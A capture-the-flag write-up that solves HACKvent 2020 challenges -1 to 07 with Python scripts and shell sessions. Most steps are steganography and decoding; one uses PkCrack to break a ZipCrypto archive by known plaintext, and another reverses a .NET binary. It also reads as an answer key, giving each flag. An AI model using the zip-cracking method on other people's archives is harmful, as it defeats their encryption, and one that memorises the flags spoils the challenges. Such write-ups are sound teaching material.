HACKvent20 writeup

This year’s HACKvent hosted on competition.hacking-lab.com has been as great as every year.
There was a total amount of 28 awesome challenges with varying difficulties.
HV20.(-1) Twelve steps of christmas
HV20.01 Happy HACKvent 2020
HV20.02 Chinese Animals
HV20.03 Packed gifts
HV20.04 Br❤celet
HV20.05 Image DNA
HV20.13 Twelve steps of christmas
HV20.14 Santa’s Special GIFt
HV20.15 Man Commands, Server Lost
HV20.16 Naughty Rudolph
HV20.17 Santa’s Gift Factory Control
HV20.18 Santa’s lost home
HV20.19 Docker Linter Service
HV20.06 Twelve steps of christmas
HV20.07 Bad morals
HV20.08 The game
HV20.09 Santa’s Gingerbread Factory
HV20.10 Be patient with the adjacent
HV20.11 Chris’mas carol
HV20.12 Wiener waltz
HV20.20 Twelve steps of Christmas
HV20.21 Threatened Cat
HV20.22 Padawanlock
HV20.23 Those who make backups are cowards!
HV20.24 Santa’s Secure Data Storage
HV20.H1 It’s a secret!
HV20.H2 Oh, another secret!
HV20.H3 Hidden in Plain Sight

HV20.(-1) Twelve steps of christmas

Categories: Fun
On the third day of christmas my true love sent to me...

three caesar salads,
two to (the) six arguments,
one quick response.


The provided text file Message seems to be a caesar encrypted text:

kali@kali:~/hv20/_1$ head message Sbopb 3 alkb! Lcc tfqe vlr! Dbq yxzh ql tloh! Vlr'ob klq alkb ebob... fSYLOt0HDdlXXXXKPReBRdXXXWlXXXDxZXXXXXXQyan/XXXGfUmRTEOPVUzdzEGsWjipWPY0bUYi FDS4xTVXXEgxoSeyhrP4AcwkHUtBdf+Nu+Bwtgct8W0Gnnlc07sbfUCUiHPfHYYBGeGNr/2ccu/3 I/vCCouITTqmmUg8mWWx6Ifl/s41L4mMaouA/yjPo+MrcPMdEEDL94y2buybwu8MsKxN8UUz1baL nF+e5tVJ21/hvoubk53BbIgghi4b7UqOTqUMol7E0EtjjfsMK73arfc+ai8DCCCxDNsCBExR6L1V otcucgqDYJzNCcJhni0EWwabueZNI9q7ky3/EHXsNU5arb/Oc199Z354dOH/uyF8JzICgwzhcurM 72UZ54Ug26Mt7Ryt/WcqMK9wSg1k3931SYAO8gAHdf0sJ5d4BMGlguS8CK+Jx7SMt6afjNkFi59+ 4ALiPRZNg5JhP7lz2UxbJrCfZgpXhuAZAKEDHgYnVRyfiMfOBwP2rDFCWgKpCvLDt9pUpUTyoQbi VrRijYlBulNt/9UE/a3K3/j4zvWAGI6+VtT/XkhKK4dzg5dCNLN8rDRI8LswtL8/8NaRYVIWtivu

After decrypting the message with n=3 e.g. using CyberChef the obvious base64-encoded data begins with iVBORw0KG…:

kali@kali:~/hv20/_1$ head -n1 step_1 iVBORw0KGgoAAAANSUhEUgAAAZoAAAGaCAAAAAATbdq/AAAJiXpUWHRSYXcgcHJvZmlsZSB0eXBl

This sequence is the beginning of a base64-encoded PNG image:

kali@kali:~/hv20/_1$ base64 -d step_1 > step_2 kali@kali:~/hv20/_1$ file step_2 step_2: PNG image data, 410 x 410, 8-bit grayscale, non-interlaced

Though the image seems to be empty:

Having a closer look at it, we can see that it actually contains a QR code, but the black color was replaced with an almost white color (252), which can hardly be differentiated from the outer white (255).

Using the following python script, we can replace all pixels, which are almost white with black pixels:

kali@kali:~/hv20/_1$ cat trans.py #!/usr/bin/env python3 from PIL import Image img = Image.open('./step_2') pix = img.load() out = [] for w in range(img.size[0]): for h in range(img.size[1]): if (pix[w,h] != 255): out.append(0) else: out.append(255) img_out = Image.new(img.mode, img.size) img_out.putdata(out) img_out.save('step_3.png')

Running the script produces the new image step_3.png with the now clearly visible QR code:

At last we can e.g. use zbarimg (apt-get install zbar-tools) in order to read the QR code:

kali@kali:~/hv20/_1$ zbarimg step_3.png QR-Code:HV20{34t-sl33p-haxx-rep34t} ...

The flag is HV20{34t-sl33p-haxx-rep34t}.

HV20.01 Happy HACKvent 2020

Categories: Forensic
Welcome to this year's HACKvent.

Attached you can find the "Official" invitation to the HackVent.

One of my very young Cyber Elves cut some parts of the card with his alpha scissors.

Have a great HACKvent,

– Santa

The term alpha scissor suggests, that the RGBA alpha value of the flag has been set to 0 (hidden).

Using the following python script, we can set all alpha values to 255:

kali@kali:~/hv20/01$ cat adjust_alpha.py #!/usr/bin/env python3 from PIL import Image img = Image.open('./7c432457-ed44-4ebe-84bf-cb6966e7a3dc.png') img.putalpha(255) img.save('out.png')

Running the script produces a new image out.png with the flag:

The flag is HV20{7vxFXB-ItHnqf-PuGNqZ}.

HV20.02 Chinese Animals

Categories: Fun
Author:The Compiler
I've received this note from a friend, who is a Chinese CTF player:

Unfortunately, Google Translate wasn't of much help:
I suspect the data has somehow been messed up while transmitting it. Sadly, I can't ask my friend about more details. The Great Chinese Firewall is thwarting our attempts to reach each other, and there's no way I'm going to install WeChat on my phone.

The chinese characters within the flag are UTF-8 encoded resulting in 3 bytes per character:

kali@kali:~/hv20/02$ echo -n '獭慬氭敬敧慮琭扵瑴敲晬礭汯癥猭杲慳猭浵搭桯牳' |hexdump -C 00000000 e7 8d ad e6 85 ac e6 b0 ad e6 95 ac e6 95 a7 e6 |................| 00000010 85 ae e7 90 ad e6 89 b5 e7 91 b4 e6 95 b2 e6 99 |................| 00000020 ac e7 a4 ad e6 b1 af e7 99 a5 e7 8c ad e6 9d b2 |................| 00000030 e6 85 b3 e7 8c ad e6 b5 b5 e6 90 ad e6 a1 af e7 |................| 00000040 89 b3 |..| 00000042

The first character (e7 8d ad) represents the unicode code point U+736D.

The second character (e6 85 ac) represents the unicode code point U+616C.

The third character (e6 b0 ad) represents the unicode code point U+6C2D.

And so forth …

By converting the unicode code points to ASCII, we get the actual flag. For the first three characters this results in “small-“:

kali@kali:~/hv20/02$ echo 736D616C6C2D|xxd -p -r small-

We can simplify this step by using python with an UTF-16 Big Endian encoding:

kali@kali:~/hv20/02$ cat dec0de.py #!/usr/bin/env python3 flag = '獭慬氭敬敧慮琭扵瑴敲晬礭汯癥猭杲慳猭浵搭桯牳' print(b'HV20{'+flag.encode('utf-16-be')+b'e}')

Running the script yields the flag:

kali@kali:~/hv20/02$ ./dec0de.py b'HV20{small-elegant-butterfly-loves-grass-mud-horse}'

The flag is HV20{small-elegant-butterfly-loves-grass-mud-horse}.

HV20.03 Packed gifts

Categories: Crypto
One of the elves has unfortunately added a password to the last presents delivery and we cannot open it. The elf has taken a few days off after all the stress of the last weeks and is not available. Can you open the package for us?

We found the following packages:

Package 1
Package 2

The first package (p1.zip) is an unencrypted zip-archive containing 100 files from 0000.bin up to 0099.bin:

kali@kali:~/hv20/03$ zipinfo p1.zip Archive: p1.zip Zip file size: 28649 bytes, number of entries: 100 -rw-r--r-- 6.3 unx 172 bx defN 20-Nov-24 09:07 0000.bin -rw-r--r-- 6.3 unx 172 bx defN 20-Nov-24 09:07 0001.bin ... -rw-r--r-- 6.3 unx 172 bx defN 20-Nov-24 09:07 0098.bin -rw-r--r-- 6.3 unx 172 bx defN 20-Nov-24 09:07 0099.bin 100 files, 17200 bytes uncompressed, 15827 bytes compressed: 8.0%

The second package (p2.zip) is an encrypted zip-archive containing 101 files from 0000.bin up to 0099.bin and an additional file called flag.bin:

kali@kali:~/hv20/03$ zipinfo p2.zip Archive: p2.zip Zip file size: 30070 bytes, number of entries: 101 -rw-r--r-- 6.3 unx 172 Bx defN 20-Nov-24 09:07 0000.bin -rw-r--r-- 6.3 unx 172 Bx defN 20-Nov-24 09:07 0001.bin ... -rw-r--r-- 6.3 unx 172 Bx defN 20-Nov-24 09:07 0099.bin -rw-r--r-- 6.3 unx 172 Bx defN 20-Nov-24 09:25 flag.bin 101 files, 17372 bytes uncompressed, 15908 bytes compressed: 8.4%

When having access to a plaintext as well as the corresponding ciphertext, a known-plaintext attack can be carried out. For the PKZIP stream cipher such an attack/algorithm was implemented by Eli Biham and Paul C. Kocher.

In order to determine, if there are equal files within both archives, we can compare the CRC checksum (the checksum is calculated before the file is encrypted). The checksum can be displayed using zipinfo -v:

kali@kali:~/hv20/03$ zipinfo -v p1.zip ... Central directory entry #1: --------------------------- 0000.bin offset of local header from start of archive: 0 (0000000000000000h) bytes file system or operating system of origin: Unix version of encoding software: 6.3 minimum file system compatibility required: Unix minimum software version required to extract: 2.0 compression method: deflated compression sub-type (deflation): normal file security status: not encrypted extended local header: no file last modified on (DOS date/time): 2020 Nov 24 09:07:32 32-bit CRC value (hex): d1380cc4 compressed size: 159 bytes uncompressed size: 172 bytes ...

In order to check if there are same files within both archives, we can grep out and sort the checksums and compare them with comm:

kali@kali:~/hv20/03$ comm -12 <(zipinfo -v p1.zip|grep CRC|cut -d ' ' -f7-|tr -d ' '|sort) <(zipinfo -v p2.zip|grep CRC|cut -d ' ' -f7-|tr -d ' '|sort) fcd6b08a

Accordingly there is a single file with the CRC fcd6b08a, which is present in both archives. By greping for the CRC, we can determine which file this is:

kali@kali:~/hv20/03$ zipinfo -v p1.zip |grep fcd6b08a -B13 0053.bin ... 32-bit CRC value (hex): fcd6b08a kali@kali:~/hv20/03$ zipinfo -v p2.zip |grep fcd6b08a -B13 0053.bin ... 32-bit CRC value (hex): fcd6b08a

The file in question is called 0053.bin (in both archives).

Since we know have a plaintext as well as the corresponding ciphertext, we can carry out the formerly mentioned known-plaintext attack using PkCrack:

kali@kali:/tmp/pkcrack-1.2.2/src$ ./pkcrack -C /home/kali/hv20/03/p2.zip -c 0053.bin -P /home/kali/hv20/03/p1.zip -p 0053.bin -d /tmp/p2_decrypted.zip -a Files read. Starting stage 1 on Thu Dec 3 06:36:14 2020 Generating 1st generation of possible key2_170 values...done. Found 4194304 possible key2-values. Now we're trying to reduce these... Done. Left with 51026 possible Values. bestOffset is 24. Stage 1 completed. Starting stage 2 on Thu Dec 3 06:36:20 2020 Ta-daaaaa! key0=2445b967, key1=cfb14967, key2=dceb769b Probabilistic test succeeded for 151 bytes. Ta-daaaaa! key0=2445b967, key1=cfb14967, key2=dceb769b Probabilistic test succeeded for 151 bytes. Stage 2 completed. Starting zipdecrypt on Thu Dec 3 06:37:13 2020 Decrypting 0000.bin (9ad4a32d5536280b9ed5e112)... OK! Decrypting 0001.bin (e4a90abe31c7fa5cd060b92e)... OK! Decrypting 0002.bin (32f291521900c30efd341884)... OK! Decrypting 0003.bin (94b0455afe5d924d351932fb)... OK! Decrypting 0004.bin (a794d01296fd4a61637b8bca)... OK! ... Decrypting 0098.bin (755f9158019f05c30c704d6f)... OK! Decrypting 0099.bin (46b423aac46dfa48714b7084)... OK! Decrypting flag.bin (ac980a0f8354fc606be26b6f)... OK! Finished on Thu Dec 3 06:37:13 2020

The program successfully recovered the internals keys used to encrypt the archive and stored an unencrypted version of the archive to /tmp/p2_decrypted.zip:

kali@kali:/tmp/$ unzip p2_decrypted.zip Archive: p2_decrypted.zip inflating: 0000.bin inflating: 0001.bin ... inflating: 0099.bin inflating: flag.bin

The file flag.bin contains the base64-encoded flag:

kali@kali:/tmp$ cat flag.bin;echo SFYyMHtaaXBDcnlwdDBfdzF0aF9rbjB3bl9wbGExbnRleHRfMXNfZWFzeV90MF9kZWNyeXB0fSAgICAgICAgICAgICAgICAgSFYyMHtaaXBDcnlwdDBfdzF0aF9rbjB3bl9wbGExbnRleHRfMXNfZWFzeV90MF9kZWNyeXB0fQo= kali@kali:/tmp$ cat flag.bin|base64 -d HV20{ZipCrypt0_w1th_kn0wn_pla1ntext_1s_easy_t0_decrypt} HV20{ZipCrypt0_w1th_kn0wn_pla1ntext_1s_easy_t0_decrypt}

The flag is HV20{ZipCrypt0_w1th_kn0wn_pla1ntext_1s_easy_t0_decrypt}.

The challenge also contains the first hidden flag.

HV20.04 Br❤celet

Categories: Fun
Author:brp64 (with help of his daughter)
Santa was given a nice bracelet by one of his elves. Little does he know that the secret admirer has hidden a message in the pattern of the bracelet...

  1. No internet is required - only the bracelet
  2. The message is encoded in binary
  3. Violet color is the delimiter

We start by creating a string, which represents the bracelet (G = green, V = violet, P = purple, Y = yellow, B = blue):


By replacing the delimiter violet (V) with a dot (.) we can recognize the pattern more easily:


Within each block all of the remaining colors (P, G, B, Y) only appear once. Also the order is always the same.

In combination with the hint, that the message is encoded in binary, we can derive the following assumption: if a color is present within a block, the bit at the corresponding position is 1, otherwise it is 0. Here are a few examples:

_G__ = 0100
P__Y = 1001
_GB_ = 0110

Using the following python script, we can decode the message:

kali@kali:~/hv20/04$ cat solve.py #!/usr/bin/env python3 s = 'GVPYVGBVPGVGBVPGBYVGBYVGBVBYVBYVGBYVPYVBYVVGBYVGYVGYVBYVBYVGVGBVPGBVBYVGBYVBYVGV' r = '' for c in s.split('V')[:-1]: for x in 'PGBY': r += ('1' if x in c else '0') r = '%x'%int(r,2) flag = bytes.fromhex(r) print(flag)

Running the script yields the flag:

kali@kali:~/hv20/04$ ./solve.py b'Ilov3y0uS4n74'

The flag is HV20{Ilov3y0uS4n74}.

HV20.05 Image DNA

Categories: Forensic
Santa has thousands of Christmas balls in stock. They all look the same, but he can still tell them apart. Can you see the difference?

At first I started to compare the pixels of both images (they are different). Though this was a rabbit hole.

The important point is that both images contain additional data after the actual JPG (which ends with ff d9):

kali@kali:~/hv20/05$ hexdump -C img1.jpg 00000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 |......JFIF......| 00000010 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 |.......C........| ... 000020e0 3f ff d9 43 54 47 54 43 47 43 47 41 47 43 47 47 |?..CTGTCGCGAGCGG| 000020f0 41 54 41 43 41 54 54 43 41 41 41 43 41 41 54 43 |ATACATTCAAACAATC| 00002100 43 54 47 47 47 54 41 43 41 41 41 47 41 41 54 41 |CTGGGTACAAAGAATA| 00002110 41 41 41 43 43 54 47 47 47 43 41 41 54 41 41 54 |AAACCTGGGCAATAAT| 00002120 54 43 41 43 43 43 41 41 41 43 41 41 47 47 41 41 |TCACCCAAACAAGGAA| 00002130 41 47 54 41 47 43 47 41 41 41 41 41 47 54 54 43 |AGTAGCGAAAAAGTTC| 00002140 43 41 47 41 47 47 43 43 41 41 41 0a |CAGAGGCCAAA.| 0000214c

As can be seen above, the first image (img1.jpg) contains a DNA string after the JPG image.

The second image (img2.jpg) does also contain an additional DNA string, but also a zip-archive (beginning with 50 4b 03 04 ...):

kali@kali:~/hv20/05$ hexdump -C img2.jpg 00000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 |......JFIF......| 00000010 00 01 00 00 ff e2 02 a0 49 43 43 5f 50 52 4f 46 |........ICC_PROF| ... 000021a0 10 1d a0 5b 4a 3f f8 3f ff d9 41 54 41 54 41 54 |...[J?.?..ATATAT| 000021b0 41 41 41 43 43 41 47 54 54 41 41 54 43 41 41 54 |AAACCAGTTAATCAAT| 000021c0 41 54 43 54 43 54 41 54 41 54 47 43 54 54 41 54 |ATCTCTATATGCTTAT| 000021d0 41 54 47 54 43 54 43 47 54 43 43 47 54 43 54 41 |ATGTCTCGTCCGTCTA| 000021e0 43 47 43 41 43 43 54 41 41 54 41 54 41 41 43 47 |CGCACCTAATATAACG| 000021f0 54 43 43 41 54 47 43 47 54 43 41 43 43 43 43 54 |TCCATGCGTCACCCCT| 00002200 41 47 41 43 54 41 41 54 54 41 43 43 54 43 41 54 |AGACTAATTACCTCAT| 00002210 54 43 0a 50 4b 03 04 14 00 08 00 08 00 26 a8 6f |TC.PK........&.o| 00002220 51 00 00 00 00 00 00 00 00 03 00 00 00 01 00 20 |Q.............. | 00002230 00 41 55 54 0d 00 07 08 89 b1 5f 37 ed bb 5f 31 |.AUT......_7.._1| 00002240 e7 bb 5f 75 78 0b 00 01 04 e8 03 00 00 04 e8 03 |.._ux...........| 00002250 00 00 33 30 e0 02 00 50 4b 07 08 6f e3 b9 e4 05 |..30...PK..o....| 00002260 00 00 00 03 00 00 00 50 4b 01 02 14 03 14 00 08 |.......PK.......| 00002270 00 08 00 26 a8 6f 51 6f e3 b9 e4 05 00 00 00 03 |...&.oQo........| 00002280 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 a4 |..... ..........| 00002290 81 00 00 00 00 41 55 54 0d 00 07 08 89 b1 5f 37 |.....AUT......_7| 000022a0 ed bb 5f 31 e7 bb 5f 75 78 0b 00 01 04 e8 03 00 |.._1.._ux.......| 000022b0 00 04 e8 03 00 00 50 4b 05 06 00 00 00 00 01 00 |......PK........| 000022c0 01 00 4f 00 00 00 54 00 00 00 00 00 |..O...T.....| 000022cc

We can extract the zip-archive and its contents e.g. using binwalk:

kali@kali:~/hv20/05$ binwalk --extract img2.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 8723 0x2213 Zip archive data, at least v2.0 to extract, uncompressed size: 3, name: A 8886 0x22B6 End of Zip archive, footer length: 22 kali@kali:~/hv20/05$ cd _img2.jpg.extracted/ kali@kali:~/hv20/05/_img2.jpg.extracted$ ls -al total 16 drwxr-xr-x 2 kali kali 4096 Dec 5 03:01 . drwxr-xr-x 4 kali kali 4096 Dec 5 03:01 .. -rw-r--r-- 1 kali kali 185 Dec 5 03:01 2213.zip -rw-r--r-- 1 kali kali 3 Nov 15 15:01 A

There is only a single file called A in the zip-archive. The content of the file is the string "00":

kali@kali:~/hv20/05/_img2.jpg.extracted$ hexdump -C A 00000000 30 30 0a |00.| 00000003

This seems to be a hint on how to decode the DNA strings. The strings contain the letters A, C, G and T. Since this are four letters, we can assume that four subsequent letters represent 1 byte: 4*4*4*4 = 256 (thus one letter representing two bits). Since A is supposed to be represented as 00, we can follow the sequence in the alphabet and encode C as 01, G as 10 and T as 11.

Using the following python script, we can decode the DNA strings accordingly:

kali@kali:~/hv20/05$ cat decode_dna.py #!/usr/bin/env python3 import sys def get_byte(d): d = d.replace('A','00') d = d.replace('C','01') d = d.replace('G','10') d = d.replace('T','11') return chr(int(d,2)) ct = open(sys.argv[1]).read().strip() for i in range(0, len(ct), 4): dna = ct[i:i+4] x = get_byte(dna) print(x, end='')

After extracting both DNA strings, we can pass them to the script:


Though the decoded data does not seem to make sense yet:

kali@kali:~/hv20/05$ hexdump -C dna1_decoded.txt 00000000 7b 66 26 c2 8c 4f 40 43 5e c2 ac 40 c2 83 00 5e |{f&..O@C^..@...^| 00000010 c2 a4 30 c3 b4 54 04 28 0b 26 00 2f 52 29 40 |..0..T.(.&./R)@| 0000001f kali@kali:~/hv20/05$ hexdump -C dna2_decoded.txt 00000000 33 30 14 c2 bc 34 33 77 33 c2 9f 33 c2 b7 6d 6d |30...43w3..3..mm| 00000010 c3 86 45 c3 83 30 6d 4e 6d 15 72 1c 3c 5d 3d |..E..0mNm.r.<]=| 0000001f

Since we have to combine both decoded outputs somehow, let's try the first thing that comes into mind - XOR:

kali@kali:~/hv20/05$ cat x0r.py #!/usr/bin/env python3 dna1 = open('dna1_decoded.txt').read() dna2 = open('dna2_decoded.txt').read() out = '' for i in range(len(dna1)): out += chr(ord(dna1[i])^ord(dna2[i])) print(out)

Running the script actually yields the flag:

kali@kali:~/hv20/05$ ./x0r.py HV20{s4m3s4m3bu7diff3r3nt}

The flag is HV20{s4m3s4m3bu7diff3r3nt}.

HV20.06 Twelve steps of christmas

Categories: Fun
On the sixth day of Christmas my true love sent to me...

six valid QRs,
five potential scrambles,
four orientation bottom and right,
and the rest has been said previously.

PDF version
Source image (open with pixlr.com)


a printer


- selbmarcs
- The black lines are important - do not remove them

Since handcrafting is not part of my most distinctive skills, I decided to take a bruteforcing approach: generate all permutation of possible QR codes and try to decode them.

In order to do this, the first step is to cut all single tiles from the provided image. Once again this could have been done in a more handcrafting-style (e.g. GIMP), but I preferred python.

The image contains an alpha-channel, which will be a problem when trying to decode the QR code later on, so we will remove the alpha-channel. In order to determine the actual position of the single tiles I simply used trial-and-adjust.

The resulting python script looks like this:

kali@kali:~/hv20/06$ cat cut0r.py #!/usr/bin/env python3 from PIL import Image img_orig = Image.open('cube.png') img = Image.new('RGB', img_orig.size, (255,255,255)) img.paste(img_orig, mask=img_orig.split()[3]) s=87 x=61;y=231;img.crop((x, y, x+s, y+s)).save('01.png') x+=100;img.crop((x, y, x+s, y+s)).save('02.png') x+=s+1;img.crop((x, y, x+s, y+s)).save('03.png') x+=100;img.crop((x, y, x+s, y+s)).save('04.png') x+=s+1;img.crop((x, y, x+s, y+s)).save('05.png') x+=100;img.crop((x, y, x+s, y+s)).save('06.png') x+=s+1;img.crop((x, y, x+s, y+s)).save('07.png') x+=100;img.crop((x, y, x+s, y+s)).save('08.png') x=61;y=231+100;img.crop((x, y, x+s, y+s)).save('09.png') x+=100;img.crop((x, y, x+s, y+s)).save('10.png') x+=s+1;img.crop((x, y, x+s, y+s)).save('11.png') x+=100;img.crop((x, y, x+s, y+s)).save('12.png') x+=s+1;img.crop((x, y, x+s, y+s)).save('13.png') x+=100;img.crop((x, y, x+s, y+s)).save('14.png') x+=s+1;img.crop((x, y, x+s, y+s)).save('15.png') x+=100;img.crop((x, y, x+s, y+s)).save('16.png') x=249;y=43;img.crop((x, y, x+s, y+s)).save('17.png') x+=100;img.crop((x, y, x+s, y+s)).save('18.png') x=249;y+=100;img.crop((x, y, x+s, y+s)).save('19.png') x+=100;img.crop((x, y, x+s, y+s)).save('20.png') x=249;y=419;img.crop((x, y, x+s, y+s)).save('21.png') x+=100;img.crop((x, y, x+s, y+s)).save('22.png') x=249;y+=100;img.crop((x, y, x+s, y+s)).save('23.png') x+=100;img.crop((x, y, x+s, y+s)).save('24.png')

The script removes the alpha-channel and creates images from 01.png up to 24.png containing the single tiles:

... and so forth ...

When cutting out these tiles, I ignored the black lines in the center. After combining four tiles to an entire QR code, I wondered why the dimension of the QR code was not valid (38x38). Right at that moment another hint was released, that the black lines should not be removed (since there are actually part of the QR code). Thus I added them when combining the four tiles. Also we have to rotate the single tiles, since we do not know their orientation. There are four possible orientations for each tile (, 90°, 180° and 270°).

The following script loads all tile images, creates four rotated instances of the tile, iterates over all them for all four positions (top left, top right, bottom right and bottom left) creating a corresponding image and tries the decode the image as a QR code:

kali@kali:~/hv20/06$ cat brut0r.py #!/usr/bin/env python3 from PIL import Image, ImageDraw import qrtools def combine(img1, img2, img3, img4): s = 87 o = 15 out = Image.new('RGB', (s*2+60+o, s*2+60+o), (255,255,255)) d = ImageDraw.Draw(out) d.rectangle([(30,30), (s*2+30+o,s*2+30+o)], fill='#000000') out.paste(img1, (30,30)) out.paste(img2, (s+30+o,30)) out.paste(img3, (s+30+o,s+30+o)) out.paste(img4, (30,s+30+o)) return out def rot(img, cur_rot): r = [img] for i in range(3): r.append(img.rotate(-90*(i+1))) if (cur_rot == 0): return r elif (cur_rot == 1): return [r[3],r[0],r[1],r[2]] elif (cur_rot == 2): return [r[2],r[3],r[0],r[1]] elif (cur_rot == 3): return [r[1],r[2],r[3],r[0]] imgs = [] imgs.append(rot(Image.open('01.png'), 0)) imgs.append(rot(Image.open('02.png'), 1)) imgs.append(rot(Image.open('03.png'), 0)) imgs.append(rot(Image.open('04.png'), 1)) imgs.append(rot(Image.open('05.png'), 0)) imgs.append(rot(Image.open('06.png'), 1)) imgs.append(rot(Image.open('07.png'), 0)) imgs.append(rot(Image.open('08.png'), 1)) imgs.append(rot(Image.open('09.png'), 3)) imgs.append(rot(Image.open('10.png'), 2)) imgs.append(rot(Image.open('11.png'), 3)) imgs.append(rot(Image.open('12.png'), 2)) imgs.append(rot(Image.open('13.png'), 3)) imgs.append(rot(Image.open('14.png'), 2)) imgs.append(rot(Image.open('15.png'), 3)) imgs.append(rot(Image.open('16.png'), 2)) imgs.append(rot(Image.open('17.png'), 0)) imgs.append(rot(Image.open('18.png'), 1)) imgs.append(rot(Image.open('19.png'), 3)) imgs.append(rot(Image.open('20.png'), 2)) imgs.append(rot(Image.open('21.png'), 0)) imgs.append(rot(Image.open('22.png'), 1)) imgs.append(rot(Image.open('23.png'), 3)) imgs.append(rot(Image.open('24.png'), 2)) small = [1,2,9,14,15,19] qr = qrtools.QR() for i0 in range(24): if (i0 in small): continue for i1 in range(24): if (i1 in small): continue if (i1 == i0): continue for i2 in range(24): if (i2 not in small): continue if (i2 in [i0,i1]): continue for i3 in range(24): if (i3 in small): continue if (i3 in [i0,i1,i2]): continue combine(imgs[i0][0], imgs[i1][1], imgs[i2][2], imgs[i3][3]).save('comb.png') if (qr.decode('comb.png')): print(qr.data)

Surely it is not the most efficient way, but it works. When loading each tile image, the three additional rotated instances of the tile are created (providing the initial rotation to the rot function). There is a check in each loop in order to prevent a tile from being used more than once. Also the small tiles (tiles, which contain the small quadrat) are only allowed at the bottom right position.

Running the script yields a substring for each of the six valid QR codes:

kali@kali:~/hv20/06$ ./brut0r.py HV20{Erno_ Rubik_would #HV20QRubicsChal} _be_proud. Petrus_is _Valid.

The last thing to do is to concatenate the substrings in a way that results in a meaningful flag:

The flag is HV20{Erno_Rubik_would_be_proud.Petrus_is_Valid.#HV20QRubicsChal}.

HV20.07 Bad morals

Categories: Reverse Engineering
One of the elves recently took a programming 101 course. Trying to be helpful, he implemented a program for Santa to generate all the flags for him for this year's HACKvent 2020. The problem is, he can't remember how to use the program any more and the link to the documentation just says 404 Not found. I bet he learned that in the Programming 101 class as well.

Can you help him get the flag back?


The challenge provides the file BadMorals.exe:

kali@kali:~/hv20/07$ file BadMorals.exe BadMorals.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Since it seems to be a .NET assembly, we can use dnSpy on a Windows machine in order to decompile it.

The program is quite simple: it reads three inputs one after another and compares them to an expected value. If the input matches, a base64-encoded string based on the input is constructed, which contains the flag. At last a SHA1 checksum is used in order to validate the flag. If this check is also passed, the flag is displayed.

Let's have a look at the first input:

The user input is stored in array. Within the for loop each second character of array is appended to the variable text. After this text is compared to the static string BumBumWithTheTumTum.

This means our input must look like this: .B.u.m.B.u.m.W.i.t.h.T.h.e.T.u.m.T.u.m

Though this is not sufficient. When we take a look at the concatenation of the base64 string after the validation of text, we can see that the base64 string also depends on the characters at index 8 and 14 of our input. With the input string above these characters are . (dots). Debugging the program in dnSpy can surely clarify things here.

In order to determine a valid value for both of these characters, we can test different values by constructing the base64 string and decode it. The result is supposed to be the beginning of the flag. For the character at index 8 the method GetHashCode() is called and the return value is calculated modulo 10. Testing different values in the debugger reveals that for a single character GetHashCode() returns ord(c)<<24|ord(c), for example: 'a' = 0x61000061. This means that we have to find an input character, which makes sense in the base64 string after being calculated as follow: (ord(c)<<|ord(c)) % 10. The resulting value is used as a string, which means that the only possible values are the digits from 0 to 9. We can start by determining, which digits seem reasonable:

kali@kali:~/hv20/07$ cat test_b64.py #!/usr/bin/env python3 import string from base64 import b64decode for d in string.digits: s = "SFYyMHtyMz"+d+"zcnMzXzNuZzFuMzNyMW5nX2==" try: r = b64decode(s) print('d = ' + d) print(r) except: pass

The script iterates over all ten digits and outputs the corresponding result:

kali@kali:~/hv20/07$ ./test_b64.py d = 0 b'HV20{r3=3rs3_3ng1n33r1ng_' d = 1 b'HV20{r3=srs3_3ng1n33r1ng_' d = 2 b'HV20{r3=\xb3rs3_3ng1n33r1ng_' d = 3 b'HV20{r3=\xf3rs3_3ng1n33r1ng_' d = 4 b'HV20{r3>3rs3_3ng1n33r1ng_' d = 5 b'HV20{r3>srs3_3ng1n33r1ng_' d = 6 b'HV20{r3>\xb3rs3_3ng1n33r1ng_' d = 7 b'HV20{r3>\xf3rs3_3ng1n33r1ng_' d = 8 b'HV20{r3?3rs3_3ng1n33r1ng_' d = 9 b'HV20{r3?srs3_3ng1n33r1ng_'

The only inputs, which seem to result in a reasonable output are 0 = HV20{r3=3r..., 4 = HV20{r3>3r... and 8 = HV20{r3?3.... So let's determine three different input characters, which result in those values and try them out later. Since there is a final validation using a SHA1 checksum at the end, we can simply test these values and see if the final check is passed:

#!/usr/bin/env python3 import string for c in string.ascii_lowercase+string.ascii_uppercase+string.digits: v = (ord(c)<<24|ord(c)) % 10 if (v in [0,4,8]): print(str(v)+':'+c)

Running the script yields possible inputs (we only need to test once per number later):

kali@kali:~/hv20/07$ ./hashc0de.py 0:d 4:f 8:h 0:n 4:p 8:r 0:x 4:z 0:F 4:H 8:J 0:P 4:R 8:T 0:Z 0:2 4:4 8:6

In a smiliar fashion we can test different values for the character at index 14:

... for c in string.ascii_lowercase+string.ascii_uppercase+string.digits: s = "SFYyMHtyMz0zcnMzXzNuZzFuMzNyMW5n"+c+"2==" try: r = b64decode(s) print('c = ' + c) print(r) except: pass

The only resulting output, which seems to be valid contrains a trailing _ (underscore), which is produced by the input letter X:

... c = U b'HV20{r3=3rs3_3ng1n33r1ngS' c = V b'HV20{r3=3rs3_3ng1n33r1ngW' c = W b'HV20{r3=3rs3_3ng1n33r1ng[' c = X b'HV20{r3=3rs3_3ng1n33r1ng_' c = Y b'HV20{r3=3rs3_3ng1n33r1ngc' c = Z b'HV20{r3=3rs3_3ng1n33r1ngg'

Accordingly we will later test these three inputs:

At next let's have a look at the second input:

This is quite simple. Our input is reversed and compared to the static string BackAndForth. Accordingly our input must be htroFdnAkcaB.

Finally the third input:

This is straight forward, too. Our input is XORed with a value initialized with 42, which is adjusted on each loop iteration by adding the current loop index k and subtracting 4. By creating a python script, which performs the same steps with the expected output ("DinosAreLit"), we can calculated the required input:

kali@kali:~/hv20/07$ cat rev0r.py #!/usr/bin/env python3 s = 'DinosAreLit' b = 42 r = '' for k, c in enumerate(s): r += chr(ord(c) ^ b) b = b + k - 4 print(r)

Running the script yields the string we need to input ("nOMNSaSFjC["):

kali@kali:~/hv20/07$ ./rev0r.py nOMNSaSFjC[

The last part of the code performs a validation of the flag by comparing the SHA1 checksum of an XORed static string with a predefined value:

The last thing to do is to test the tree possible values for the first input. The value .B.u.m.Bhu.m.WXi.t.h.T.h.e.T.u.m.T.u.m successfully yields the flag:

